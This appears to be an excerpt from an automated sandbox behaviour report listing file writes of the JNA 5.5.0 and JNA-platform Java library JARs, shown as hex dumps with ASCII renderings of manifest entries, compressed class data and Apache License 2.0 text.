68 45 bc 22 d7 b9 80 
99 63 67 76 da 85 7d 
fa 5d a7 69 89 f3 17 
69 7b 02 ec 73 7f 3e 
3e b9 d7 ac a8 e4 cf 
60 12 ef 11 b4 e1 4a 
5e 91 91 1f f4 7b 73 
59 58 99 c7 94 bd 02 
c1 35 dc 1c 05 fe a4 
df 5b 68 a0 09 84 de 
f5 bb 2d b8 f0 83 a7 
71 30 f2 36 c1 25 19 
7c d7 94 09 20 0b a5 
63 a5 69 82 84 2f fd 
de 8a 72 e9 2d 04 35 
e6 8a 30 15 f9 66 2b 
fd 37 49 fd 3b 14 ec 
a0 df fb 1a c5 02 22 
90 49 56 e0 3d f0 44 
80 a3 

PK..........^O................
META-
INF/....PK..........^O...
L............META-
INF/MANIFEST
.MF.._O.0...+.;............ahe
hE."....cgv..}.].i...i{..s.>>.
.....`.....J^....{sYX......5......
[h......-....q0.6.%.|... .
.c.i../...r.-.5..0..f+.7I.;...
.....".IV.=.D..
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 2e 30 2c 20 63 6f 6d 
2e 73 75 6e 2e 6a 6e 
61 2e 70 6c 61 74 66 
6f 72 6d 2e 75 6e 69 
78 2e 73 6f 6c 61 72 
69 73 3b 76 65 72 73 
69 6f 6e 3d 35 2e 35 
2e 30 2c 20 63 6f 6d 
2e 73 75 6e 2e 6a 6e 
61 2e 0d 0a 20 70 6c 
61 74 66 6f 72 6d 2e 
77 69 6e 33 32 3b 76 
65 72 73 69 6f 6e 3d 
35 2e 35 2e 30 2c 20 
63 6f 6d 2e 73 75 6e 
2e 6a 6e 61 2e 70 6c 
61 74 66 6f 72 6d 2e 
77 69 6e 33 32 2e 43 
4f 4d 3b 76 65 72 73 
69 6f 6e 3d 0d 0a 20 
35 2e 35 2e 30 2c 20 
63 6f 6d 2e 73 75 6e 
2e 6a 6e 61 2e 70 6c 
61 74 66 6f 72 6d 2e 
77 69 6e 33 32 2e 43 
4f 4d 2e 74 6c 62 3b 
76 65 72 73 69 6f 6e 
3d 35 2e 35 2e 30 2c 
20 63 6f 6d 2e 73 75 
6e 2e 6a 6e 61 2e 0d 
0a 20 70 6c 61 74 66 
6f 72 6d 2e 77 69 6e 
33 32 2e 43 4f 4d 2e 
74 6c 62 2e 69 6d 70 
3b 76 65 72 73 69 6f 
6e 3d 35 2e 35 2e 30 
2c 20 63 

.0, 
com.sun.jna.platform.unix.
solaris;version=5.5.0, 
com.sun.jna... 
platform.win32;version
=5.5.0, 
com.sun.jna.platform.w
in32.COM;version=.. 5.5.0, 
com
.sun.jna.platform.win32.C
OM.tlb;version=5.5.0, 
com.sun.jna... 
platform.win32.COM.tlb.im
p;version=5.5.0, c

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 347 61 2f 69 6e 74 65 72 
6e 61 6c 2f 50 4b 03 
04 0a 00 00 08 00 00 
8c 8c 5e 4f 00 00 00 
00 00 00 00 00 00 00 
00 00 10 00 00 00 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 74 72 2f 
50 4b 03 04 0a 00 00 
08 00 00 8c 8c 5e 4f 
00 00 00 00 00 00 00 
00 00 00 00 00 12 00 
00 00 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
77 69 6e 33 32 2f 50 
4b 03 04 0a 00 00 08 
08 00 8b 8c 5e 4f 93 
59 16 ec 6d 00 00 00 
85 00 00 00 26 00 00 
00 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 41 
6c 74 43 61 6c 6c 69 
6e 67 43 6f 6e 76 65 
6e 74 69 6f 6e 2e 63 
6c 61 73 73 3b f5 6f 
d7 3e 06 06 06 23 06 
76 76 06 56 76 06 36 
46 06 ae e0 fc d2 a2 
e4 54 b7 cc 9c 54 46 
06 49 c7 9c 12 e7 c4 
9c 9c cc bc 74 e7 fc 
bc b2 d4 bc 92 cc fc 
3c bd ac c4 b2 44 46 
06 85 e4 fc 5c fd e2 
d2 3c fd ac bc 44 7d 
6c ea 18 19 04 40 2a 
f5 73 

a/internal/PK..........^O.....
...........com/sun/jna/ptr/PK.
.........^O................com
/sun/jna/win32/PK..........^O
.
Y..m.......&...com/sun/jna/A
lt
CallingConvention.class;.o
.>..
.#.vv.Vv.6F.......T...TF.I....
.....t.........<....DF....\...
<...D}l....@*.s
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 6f 74 61 74 69 6f 0d 
0a 20 6e 3b 76 65 72 
73 69 6f 6e 3d 35 2e 
35 2e 30 2c 20 63 6f 
6d 2e 73 75 6e 2e 6a 
6e 61 2e 70 6c 61 74 
66 6f 72 6d 2e 77 69 
6e 63 65 3b 76 65 72 
73 69 6f 6e 3d 35 2e 
35 2e 30 20 0d 0a 0d 
0a 50 4b 03 04 0a 00 
00 08 00 00 96 8c 5e 
4f 00 00 00 00 00 00 
00 00 00 00 00 00 04 
00 00 00 63 6f 6d 2f 
50 4b 03 04 0a 00 00 
08 00 00 96 8c 5e 4f 
00 00 00 00 00 00 00 
00 00 00 00 00 08 00 
00 00 63 6f 6d 2f 73 
75 6e 2f 50 4b 03 04 
0a 00 00 08 00 00 96 
8c 5e 4f 00 00 00 00 
00 00 00 00 00 00 00 
00 0c 00 00 00 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 50 4b 03 04 
0a 00 00 08 00 00 97 
8c 5e 4f 00 00 00 00 
00 00 00 00 00 00 00 
00 15 00 00 00 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 50 4b 
03 04 0a 00 00 08 00 
00 97 8c 5e 4f 00 00 
00 00 00 

otatio.. n;version=5.5.0, 
com.
sun.jna.platform.wince;ver
sion=5.5.0 
....PK..........^O.....
...........com/PK..........^O.
...............com/sun/PK.....
.....^O................com/sun
/jna/PK..........^O...........
.....com/sun/jna/platform/P
K..........^O.....

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 1024 69 6f 6e 48 61 6e 64 
6c 65 72 2e 63 6c 61 
73 73 75 8e cd 0e 01 
41 10 84 ab fd ec b2 
48 48 1c 3c 80 03 07 
26 71 75 14 42 22 71 
f0 73 ef 1d 93 65 8d 
59 d9 1f 3c 9b 83 07 
f0 50 c2 4a 44 22 d4 
a1 bb 92 fe d2 55 b7 
fb e5 0a a0 87 8a 8d 
82 8d 12 a1 96 18 c9 
89 b7 89 87 67 a9 0e 
f1 36 30 84 6e 6b 2a 
83 bd 88 12 23 7c c3 
62 c0 5a bb 2c 77 fd 
a9 cf 47 16 9a 8d 27 
16 9b 30 38 b1 ab 55 
bf bd 22 38 f3 20 09 
a5 1a 6d b5 22 54 de 
7c 37 c5 6d 94 09 9d 
5f ef 9a cb ef e4 31 9b 
b5 56 21 a1 f1 ff 54 9e 
18 a3 c2 81 e6 28 52 
11 a1 fa a9 34 73 7d 
25 63 42 fd 57 98 45 
20 64 90 8a 72 84 2c 
72 4f 97 41 fe 35 2d 
38 cf ed 20 65 6c 14 
ad e2 03 50 4b 03 04 
0a 00 00 08 08 00 8b 
8c 5e 4f c4 04 75 b9 
da 01 00 00 fe 02 00 
00 1a 00 00 00 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 43 61 6c 6c 
62 

ionHandler.classu....A......
HH.<...&qu.B"q.s...e.Y..
<....P.J
D"......U...................g.
..60.nk*....#|.b.Z.,w...G...'.
.08..U.."8. ...m."T.|7.m..._..
...1..V!...T......(R....4s}%cB
.W.E d..r.,rO.A.5-8.. 
el....PK
..........^O..u.............co
m/sun/jna/Callb
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 41 70 61 63 68 65 
20 4c 69 63 65 6e 73 
65 0a 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 56 65 72 73 69 6f 
6e 20 32 2e 30 2c 20 
4a 61 6e 75 61 72 79 
20 32 30 30 34 0a 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 68 74 74 70 3a 
2f 2f 77 77 77 2e 61 
70 61 63 68 65 2e 6f 
72 67 2f 6c 69 63 65 
6e 73 65 73 2f 0a 0a 
20 20 20 54 45 52 4d 
53 20 41 4e 44 20 43 
4f 4e 44 49 54 49 4f 
4e 53 20 46 4f 52 20 
55 53 45 2c 20 52 45 
50 52 4f 44 55 43 54 
49 4f 4e 2c 20 41 4e 
44 20 44 49 53 54 52 
49 42 55 54 49 4f 4e 
0a 0a 20 20 20 31 2e 
20 44 65 66 69 6e 69 
74 69 6f 6e 73 2e 0a 
0a 20 20 20 20 20 20 
22 4c 69 63 65 6e 73 
65 22 20 

                             A
pache License.                           
Version 2.0, January 2004.                       
 
http://www.apache.org/lice
nses/..   TERMS AND 
CONDITIONS FOR USE, 
REPRODUCTION, AND 
DISTRIBUTION..   1. 
Definitions...      "License" 

success or wait 2 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 74 69 6e 67 20 66 72 
6f 6d 20 6d 65 63 68 
61 6e 69 63 61 6c 0a 
20 20 20 20 20 20 74 
72 61 6e 73 66 6f 72 
6d 61 74 69 6f 6e 20 
6f 72 20 74 72 61 6e 
73 6c 61 74 69 6f 6e 
20 6f 66 20 61 20 53 
6f 75 72 63 65 20 66 
6f 72 6d 2c 20 69 6e 
63 6c 75 64 69 6e 67 
20 62 75 74 0a 20 20 
20 20 20 20 6e 6f 74 
20 6c 69 6d 69 74 65 
64 20 74 6f 20 63 6f 
6d 70 69 6c 65 64 20 
6f 62 6a 65 63 74 20 
63 6f 64 65 2c 20 67 
65 6e 65 72 61 74 65 
64 20 64 6f 63 75 6d 
65 6e 74 61 74 69 6f 
6e 2c 0a 20 20 20 20 
20 20 61 6e 64 20 63 
6f 6e 76 65 72 73 69 
6f 6e 73 20 74 6f 20 
6f 74 68 65 72 20 6d 
65 64 69 61 20 74 79 
70 65 73 2e 0a 0a 20 
20 20 20 20 20 22 57 
6f 72 6b 22 20 73 68 
61 6c 6c 20 6d 65 61 
6e 20 74 68 65 20 77 
6f 72 6b 20 6f 66 20 
61 75 74 68 6f 72 73 
68 69 70 2c 20 77 68 
65 74 68 

ting from mechanical.      
transformation or 
translation of a Source 
form, including but.      not 
limited to compiled object 
code, generated document
ation,.      and conversions 
to other media types...      
"Work" shall mean the 
work of authorship, wheth
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 87 7d 11 ad da 46 0a 
09 48 a5 d8 07 d6 ee 
76 77 db aa b8 75 b5 
b5 5b db 6d dd 5a 6b 
6b b7 3e 2a 7b ee f7 
cd 84 99 c9 17 a2 fb 
fb 91 fb dd 39 f7 dc c7 
39 e7 7f fe f7 5c be f7 
ce a3 27 01 34 d1 48 
29 fa 70 cc 85 5a 1c 
97 bd 47 65 73 c2 85 
af e3 31 d9 9c 54 f0 
0d 29 39 a5 e0 71 17 
be 89 6f b9 50 8e 6f 
4b c9 77 dc 38 8d 27 
14 7c 57 4a 9e 94 3f 
be 27 27 fc b3 6c fe 
45 c1 f7 15 fc ab 82 7f 
73 c1 8b e3 25 f8 77 
f9 fd 81 6c 7e 28 9b 1f 
b9 50 8d a7 5c 78 1a 
cf 28 38 a3 e0 59 17 
e6 e1 3f dc 50 f0 63 
17 2f fd 9c 6c fe 53 2e 
f4 bc ec bd e0 c2 4f f0 
53 37 5e c4 cf 14 fc 
97 82 9f bb e0 c7 4b 
0a 7e a1 e0 97 2e 04 
f0 2b a9 f4 6b 05 2f 2b 
f8 1f 05 bf 71 a1 11 af 
28 f8 ad fc be ea 42 
13 9e 52 f0 3b f9 e3 
35 05 bf 97 df 3f 28 78 
5d ee fd 47 39 f9 7f 65 
f3 27 29 7e 43 f6 de 

.}...F..H.....vw...u..[.m.Zkk.
>*{.............9...9....\....
'.4.H).p..Z...Ges....1..T..)9.
.q...o.P.oK.w.8.'.|WJ..?.''..l
.E.......s...%.w...l~(...P..\x..
(8..Y...?.P.c./..l.S.......O
.S7^..........K.~......+..k./+
....q...(.....B..R.;..5....?(x
]..G9..e.')~C..

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 20 63 6f 70 79 72 69 
67 68 74 20 6e 6f 74 
69 63 65 20 74 68 61 
74 20 69 73 20 69 6e 
63 6c 75 64 65 64 20 
69 6e 20 6f 72 20 61 
74 74 61 63 68 65 64 
20 74 6f 20 74 68 65 
20 77 6f 72 6b 0a 20 
20 20 20 20 20 28 61 
6e 20 65 78 61 6d 70 
6c 65 20 69 73 20 70 
72 6f 76 69 64 65 64 
20 69 6e 20 74 68 65 
20 41 70 70 65 6e 64 
69 78 20 62 65 6c 6f 
77 29 2e 0a 0a 20 20 
20 20 20 20 22 44 65 
72 69 76 61 74 69 76 
65 20 57 6f 72 6b 73 
22 20 73 68 61 6c 6c 
20 6d 65 61 6e 20 61 
6e 79 20 77 6f 72 6b 
2c 20 77 68 65 74 68 
65 72 20 69 6e 20 53 
6f 75 72 63 65 20 6f 
72 20 4f 62 6a 65 63 
74 0a 20 20 20 20 20 
20 66 6f 72 6d 2c 20 
74 68 61 74 20 69 73 
20 62 61 73 65 64 20 
6f 6e 20 28 6f 72 20 
64 65 72 69 76 65 64 
20 66 72 6f 6d 29 20 
74 68 65 20 57 6f 72 
6b 20 61 6e 64 20 66 
6f 72 20 

 copyright notice that is incl
uded in or attached to the 
work.      (an example is 
provided in the Appendix 
below)...      "Derivative 
Works" shall mean any 
work, whether in Source or 
Object.      form, that is 
based on (or derived from) 
the Work and for 
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 b4 83 f3 89 ae 57 e9 
06 1c 51 e9 46 ba 49 
a5 9b 49 53 a9 9f 22 
2a 0d c8 46 27 a6 d4 
d9 d3 70 96 5c 64 48 
36 3b 55 2e 8a 76 29 
b4 5b a5 18 0d ab 14 
a7 04 a1 e9 bd 57 33 
cc 8f 96 28 36 c7 6a 
cf bb 20 33 c8 74 e5 
20 c7 ca ba 32 e2 db 
a9 88 f9 0a fc dd c6 
ae 1a 92 5a 36 bf 2c 
13 2b a3 a9 75 9c c1 
7c 8d 30 c6 24 91 49 
4a 9e 7a 71 6d 37 ab 
97 b6 78 2a ad 19 e7 
5a 6e a1 d4 3e 23 71 
c9 1a 8a 97 99 52 9e 
b3 63 67 5a cf aa a4 
b7 3a 29 db 54 c3 5b 
58 70 32 17 a3 33 6d 
62 fd 0e 50 d9 47 93 
44 67 38 8e dd 51 96 
d2 d3 f9 52 bb 7f bb 
dc db 29 0d 8e 73 74 
1a fc 16 75 f9 14 51 
96 5f 57 15 e9 5b 5c 
b9 c5 fa fc f6 31 45 c6 
1d 6a f5 3c f1 5a 9d 
80 8f e8 32 59 bb 7e 
f1 e2 c5 46 dd 72 fe f7 
c8 b4 45 6a f3 54 67 
4e ff 76 b1 28 e2 da 
e4 59 5a ad aa 96 f3 
d7 ad 96 75 88 d3 ac 
98 

.....W...Q.F.I..IS.."*..F'....
p.\dH6;U..v).[..........W3...(
6.j.. 3.t. ...2............Z6.
,.+..u..|.0.$.IJ.zqm7...x*...Z
n..>#q.....R..cgZ....:).T.
[Xp2
..3mb..P.G.Dg8..Q....R.....)
..st...u..Q._W..[\.....1E..j.
<.Z....2Y.~...F.r....Ej.TgN.v.
(...YZ.......u....

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 73 20 6f 66 20 74 68 
69 73 20 64 65 66 69 
6e 69 74 69 6f 6e 2c 
20 22 73 75 62 6d 69 
74 74 65 64 22 0a 20 
20 20 20 20 20 6d 65 
61 6e 73 20 61 6e 79 
20 66 6f 72 6d 20 6f 
66 20 65 6c 65 63 74 
72 6f 6e 69 63 2c 20 
76 65 72 62 61 6c 2c 
20 6f 72 20 77 72 69 
74 74 65 6e 20 63 6f 
6d 6d 75 6e 69 63 61 
74 69 6f 6e 20 73 65 
6e 74 0a 20 20 20 20 
20 20 74 6f 20 74 68 
65 20 4c 69 63 65 6e 
73 6f 72 20 6f 72 20 
69 74 73 20 72 65 70 
72 65 73 65 6e 74 61 
74 69 76 65 73 2c 20 
69 6e 63 6c 75 64 69 
6e 67 20 62 75 74 20 
6e 6f 74 20 6c 69 6d 
69 74 65 64 20 74 6f 
0a 20 20 20 20 20 20 
63 6f 6d 6d 75 6e 69 
63 61 74 69 6f 6e 20 
6f 6e 20 65 6c 65 63 
74 72 6f 6e 69 63 20 
6d 61 69 6c 69 6e 67 
20 6c 69 73 74 73 2c 
20 73 6f 75 72 63 65 
20 63 6f 64 65 20 63 
6f 6e 74 72 6f 6c 20 
73 79 73 

s of this definition, "submitt
ed".      means any form of 
electronic, verbal, or 
written communication 
sent.      to the Licensor or 
its representatives, 
including but not limited to.      
communication on elec
tronic mailing lists, source 
code control sys
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 73 6f 72 20 66 6f 72 
20 74 68 65 20 70 75 
72 70 6f 73 65 20 6f 
66 20 64 69 73 63 75 
73 73 69 6e 67 20 61 
6e 64 20 69 6d 70 72 
6f 76 69 6e 67 20 74 
68 65 20 57 6f 72 6b 
2c 20 62 75 74 0a 20 
20 20 20 20 20 65 78 
63 6c 75 64 69 6e 67 
20 63 6f 6d 6d 75 6e 
69 63 61 74 69 6f 6e 
20 74 68 61 74 20 69 
73 20 63 6f 6e 73 70 
69 63 75 6f 75 73 6c 
79 20 6d 61 72 6b 65 
64 20 6f 72 20 6f 74 
68 65 72 77 69 73 65 
0a 20 20 20 20 20 20 
64 65 73 69 67 6e 61 
74 65 64 20 69 6e 20 
77 72 69 74 69 6e 67 
20 62 79 20 74 68 65 
20 63 6f 70 79 72 69 
67 68 74 20 6f 77 6e 
65 72 20 61 73 20 22 
4e 6f 74 20 61 20 43 
6f 6e 74 72 69 62 75 
74 69 6f 6e 2e 22 0a 
0a 20 20 20 20 20 20 
22 43 6f 6e 74 72 69 
62 75 74 6f 72 22 20 
73 68 61 6c 6c 20 6d 
65 61 6e 20 4c 69 63 
65 6e 73 6f 72 20 61 
6e 64 20 

sor for the purpose of 
discussing and improving 
the Work, but.      
excluding communication 
that is conspicuously 
marked or otherwise.      
designated in writing by 
the copyright owner as 
"Not a Contribution."..      
"Contributor" shall mean 
Licensor and 

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 69 72 72 65 76 6f 63 
61 62 6c 65 0a 20 20 
20 20 20 20 28 65 78 
63 65 70 74 20 61 73 
20 73 74 61 74 65 64 
20 69 6e 20 74 68 69 
73 20 73 65 63 74 69 
6f 6e 29 20 70 61 74 
65 6e 74 20 6c 69 63 
65 6e 73 65 20 74 6f 
20 6d 61 6b 65 2c 20 
68 61 76 65 20 6d 61 
64 65 2c 0a 20 20 20 
20 20 20 75 73 65 2c 
20 6f 66 66 65 72 20 
74 6f 20 73 65 6c 6c 
2c 20 73 65 6c 6c 2c 
20 69 6d 70 6f 72 74 
2c 20 61 6e 64 20 6f 
74 68 65 72 77 69 73 
65 20 74 72 61 6e 73 
66 65 72 20 74 68 65 
20 57 6f 72 6b 2c 0a 
20 20 20 20 20 20 77 
68 65 72 65 20 73 75 
63 68 20 6c 69 63 65 
6e 73 65 20 61 70 70 
6c 69 65 73 20 6f 6e 
6c 79 20 74 6f 20 74 
68 6f 73 65 20 70 61 
74 65 6e 74 20 63 6c 
61 69 6d 73 20 6c 69 
63 65 6e 73 61 62 6c 
65 0a 20 20 20 20 20 
20 62 79 20 73 75 63 
68 20 43 6f 6e 74 72 
69 62 75 

irrevocable.      (except as 
stated in this section) 
patent license to make, 
have made,.      use, offer 
to sell, sell, import, and 
otherwise transfer the 
Work,.      where such li
cense applies only to those 
patent claims licensable.      
by such Contribu
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 20 74 68 65 69 72 20 
43 6f 6e 74 72 69 62 
75 74 69 6f 6e 28 73 
29 0a 20 20 20 20 20 
20 77 69 74 68 20 74 
68 65 20 57 6f 72 6b 
20 74 6f 20 77 68 69 
63 68 20 73 75 63 68 
20 43 6f 6e 74 72 69 
62 75 74 69 6f 6e 28 
73 29 20 77 61 73 20 
73 75 62 6d 69 74 74 
65 64 2e 20 49 66 20 
59 6f 75 0a 20 20 20 
20 20 20 69 6e 73 74 
69 74 75 74 65 20 70 
61 74 65 6e 74 20 6c 
69 74 69 67 61 74 69 
6f 6e 20 61 67 61 69 
6e 73 74 20 61 6e 79 
20 65 6e 74 69 74 79 
20 28 69 6e 63 6c 75 
64 69 6e 67 20 61 0a 
20 20 20 20 20 20 63 
72 6f 73 73 2d 63 6c 
61 69 6d 20 6f 72 20 
63 6f 75 6e 74 65 72 
63 6c 61 69 6d 20 69 
6e 20 61 20 6c 61 77 
73 75 69 74 29 20 61 
6c 6c 65 67 69 6e 67 
20 74 68 61 74 20 74 
68 65 20 57 6f 72 6b 
0a 20 20 20 20 20 20 
6f 72 20 61 20 43 6f 
6e 74 72 69 62 75 74 
69 6f 6e 

 their Contribution(s).      w
ith the Work to which such 
Contribution(s) was 
submitted. If You.      
institute patent litigation 
against any entity (i
ncluding a.      cross-claim 
or counterclaim in a 
lawsuit) alleging that the 
Work.      or a Contribution

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 1024 bd 75 72 56 b3 94 04 
0e a3 25 f4 25 94 7a 
d6 87 0e a1 96 ad 6a 
3d 88 1a 56 6a 1d c7 
86 83 50 38 f9 ec b6 
63 b8 ba 3d 28 59 c4 
cc 83 38 13 20 c4 e5 
ec d1 a5 7c 15 2c 43 
ad 58 81 4b c4 15 58 
2e c2 58 2d 56 a1 5d 
5c 89 6e b1 06 37 8a 
b5 18 12 eb 90 12 2d 
b8 55 6c c0 07 c5 d5 
8c ff 8d b8 53 b4 e1 
3e b1 89 f1 7e 0d 0e 
8b 76 1c 11 1d 98 10 
9d 38 25 36 e3 db a2 
0b a7 c5 16 3c 29 7a 
f1 bc d8 8a 57 c5 75 
46 c4 d6 b0 df 6f 47 
00 9f c3 e7 39 76 77 
62 3e 5f 01 5f e4 f3 9c 
62 b9 29 e3 98 4c 46 
f1 35 7c 89 b5 c9 e8 
1d e2 3c 11 06 5e d5 
49 c9 be 2c 4a 2b e1 
ae 9d e3 ad aa 7e 0b 
2d 55 6a f5 5a 92 4c 
22 b9 f0 7e fe 7b 00 5f 
ce de a0 13 1c 71 c6 
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ny Derivative Works.          
that You distribute, all 
copyright, patent, 
trademark, and.          
attribution notices from the 
Source form of the Work,.          
excluding those notices 
that do not pertain to any 
part of.          the Deri
vative Works; a
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n, then any Derivative 
Works that You distribute 
must.          include a 
readable copy of the 
attribution notices conta
ined.          within such 
NOTICE file, excluding 
those notices that do not.          
pertain to any part of the 
Derivative Works, in a
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ou may add Your own 
copyright statement to 
Your modifications and.      
may provide additional or 
different license terms and 
conditions.      for use, 
reproduction, or distributio
n of Your modifications, or.  
    for any such Derivative 
Works as a whole,

success or wait 1 6DD59FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright null 2021 Page 203 of 706



C:\Users\user\lib\jna-5.5.0.jard unknown 1024 0d f6 ee a6 80 6f 44 
dc c2 b7 22 6e e3 3b 
11 df e3 07 11 3f e2 
a4 88 16 4c 70 58 fb 
3f 66 33 2f 67 99 fe e0 
b0 ac 38 96 08 c5 1b 
97 f2 14 ab 1e 4a f5 0f 
19 fa fe cc 58 3a 7c 6c 
b8 ca f3 86 90 b8 d4 
36 1c 96 db 4c 9a ed 
f0 34 3e 72 b6 73 a7 
89 39 5b 68 d3 25 f5 
33 30 85 19 aa a2 a7 
6d 4b 7b b8 7f 4f 7f 4f 
b4 bf 2f d2 bd 99 a6 
45 de 97 92 d8 ac d5 
d8 21 db 45 02 d2 e8 
a8 ac 51 79 03 3e 1b 
df 45 ac 6c 13 85 0a 
e4 6d 42 2d 94 77 99 
7a 86 45 b3 e0 2b 16 
64 07 24 a5 70 93 1c 
57 25 b6 b7 86 96 4a 
90 27 3a 7d 48 2c 7e 
64 1f 90 a5 01 45 4b 
4c f3 b3 96 ea 7d 45 
86 ec 4c 57 14 b0 28 
bd 04 ab 5b 1a 91 1f 
a6 b7 b3 35 da 19 ee 
d9 d4 4e 41 0d 49 c9 
a1 cc d7 88 da 82 0e 
f3 ca 87 ea 11 aa e8 
a0 55 9f 31 49 4d c9 
3d 03 74 4e f8 22 b9 
3e b3 12 ec 5c ca 5a 
6e df b6 bd b5 2b 

.....oD..."n.;.....?....LpX.?f
3/g.....8.........J......X:|l.
......6...L...4>r.s..9[h.%.30.
....mK{..O.O../....E.......!.E
.....Qy.>..E.l....mB-.w.z.E..+
.d.$.p..W%....J.':}H,~d....E
KL....}E..LW..(...[......5.....N
A.I................U.1IM.=.tN.
".>...\.Zn....+

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 347 30 b7 c8 23 e2 c2 a3 
d5 c3 7b b9 4d e3 a8 
bc f7 69 bc df 4d 1a 
47 a4 13 73 93 9d db 
e5 11 77 51 1f 27 a4 
d5 21 ad 1b a5 95 94 
56 ca 8d 47 5a 68 75 
ba 69 31 1f d0 f8 a0 
93 0f b9 a9 98 bb 84 
f6 4d f2 78 bf 3c 6e d6 
f8 03 6e 9a c2 1f d4 f8 
16 37 7f 88 3f 2c d3 3f 
a2 f1 47 35 be d5 4d 
7e be cd c9 1f 93 f7 
ed f2 38 ec e4 3b 9c 
7c a7 34 3f ee a6 99 
dc a5 f1 27 34 fe a4 
c6 9f 72 d3 06 fe b4 
9b 82 fc 19 27 7f 56 
b6 bd 4b e3 cf b9 69 
21 7f 5e e8 dd ad f1 
3d 6e fe 3b fe 82 c6 
47 dc b4 94 ef 95 e9 
5f 94 ed ef 73 f3 97 f8 
7e 59 f0 65 37 25 f9 
01 17 7d 85 1f 74 51 
37 3f e8 e1 87 f8 61 
19 fb 8a b4 ba 65 c5 
23 b2 e2 a8 c6 5f d5 
f8 6b d2 ff ba c6 8f ca 
d0 37 44 33 df f4 d0 
26 7e 40 1e 58 f0 2d 
7e cc c3 3d fc 98 10 
7e 5c 1e c7 9c fc 84 
93 9f 74 f2 71 59 d0 
ab 71 9f 9b 9a 

0..#.....{.M....i..M.G..s.....
wQ.'..!.....V..GZhu.i1........
....M.x.<n...n......7..?,.?..G
5..M~........8..;.|.4?......'4
....r........'.V..K...i!.^....
=n.;...G......_...s...~Y.e7%..
.}..tQ7?....a.....e.#...._..k.
......7D3...&~@.X.-
~..=...~\.......t.qY..q...

success or wait 1 6DD59FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright null 2021 Page 204 of 706



C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 0a 20 20 20 20 20 20 
74 68 65 20 63 6f 6e 
64 69 74 69 6f 6e 73 
20 73 74 61 74 65 64 
20 69 6e 20 74 68 69 
73 20 4c 69 63 65 6e 
73 65 2e 0a 0a 20 20 
20 35 2e 20 53 75 62 
6d 69 73 73 69 6f 6e 
20 6f 66 20 43 6f 6e 
74 72 69 62 75 74 69 
6f 6e 73 2e 20 55 6e 
6c 65 73 73 20 59 6f 
75 20 65 78 70 6c 69 
63 69 74 6c 79 20 73 
74 61 74 65 20 6f 74 
68 65 72 77 69 73 65 
2c 0a 20 20 20 20 20 
20 61 6e 79 20 43 6f 
6e 74 72 69 62 75 74 
69 6f 6e 20 69 6e 74 
65 6e 74 69 6f 6e 61 
6c 6c 79 20 73 75 62 
6d 69 74 74 65 64 20 
66 6f 72 20 69 6e 63 
6c 75 73 69 6f 6e 20 
69 6e 20 74 68 65 20 
57 6f 72 6b 0a 20 20 
20 20 20 20 62 79 20 
59 6f 75 20 74 6f 20 
74 68 65 20 4c 69 63 
65 6e 73 6f 72 20 73 
68 61 6c 6c 20 62 65 
20 75 6e 64 65 72 20 
74 68 65 20 74 65 72 
6d 73 20 61 6e 64 20 
63 6f 6e 

.      the conditions stated i
n this License...   5. 
Submission of 
Contributions. Unless You 
explicitly state otherwise,.      
any Contribution intent
ionally submitted for 
inclusion in the Work.      
by You to the Licensor 
shall be under the terms 
and con
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      WITHOUT 
WARRANTIES OR CO
NDITIONS OF ANY KIND, 
either express or.      
implied, including, without 
limitation, any warranties 
or conditions.      of TITLE, 
NON-INFRINGEMENT, M
ERCHANTABILITY, or 
FITNESS FOR A.      
PARTICULAR PURPOSE. 
You are solely r
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 assume any.      risks 
associated with Your 
exercise of permissions 
under this License...   8. 
Limitation of Liability. In no 
event and under no legal 
theory,.      whether in tort 
(including negligence), 
contract, or otherwise,.      
unless required by 
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or, acceptance of support, 
warranty, indemnity,.      or 
other liability obligations 
and/or rights consistent 
with this.      License. 
However, in accepting 
such obligations, You may 
act only.      on Your own 
behalf and on Your sole 
responsibility, not o
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nd hold each Contributor 
harmless for any liability.      
incurred by, or claims 
asserted against, such 
Contributor by reason.      
of your accepting any such 
warranty or additional 
liability...   END OF 
TERMS AND 
CONDITIONS.PK..........^O
iB..E_..E_......
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a6 21 5b b2 d4 b6 86 
19 e3 ba 54 71 10 d5 
31 c1 cf c9 47 e1 f4 
40 9c 3f 9d c0 5c a6 
09 9e 50 a5 a7 22 61 
6f 0c 12 53 0b 3a 77 
de 7d d0 7d e8 74 ef 
ba 45 57 c1 c4 8f a0 
62 c9 

PK........8f>I................
META-
INF/PK........7f>IzVC....
.s.......META-
INF/MANIFEST.MF.
.Oo.0......,.k..-%..P.m..U...L
2..&fm.....@ .E..=o~o.........
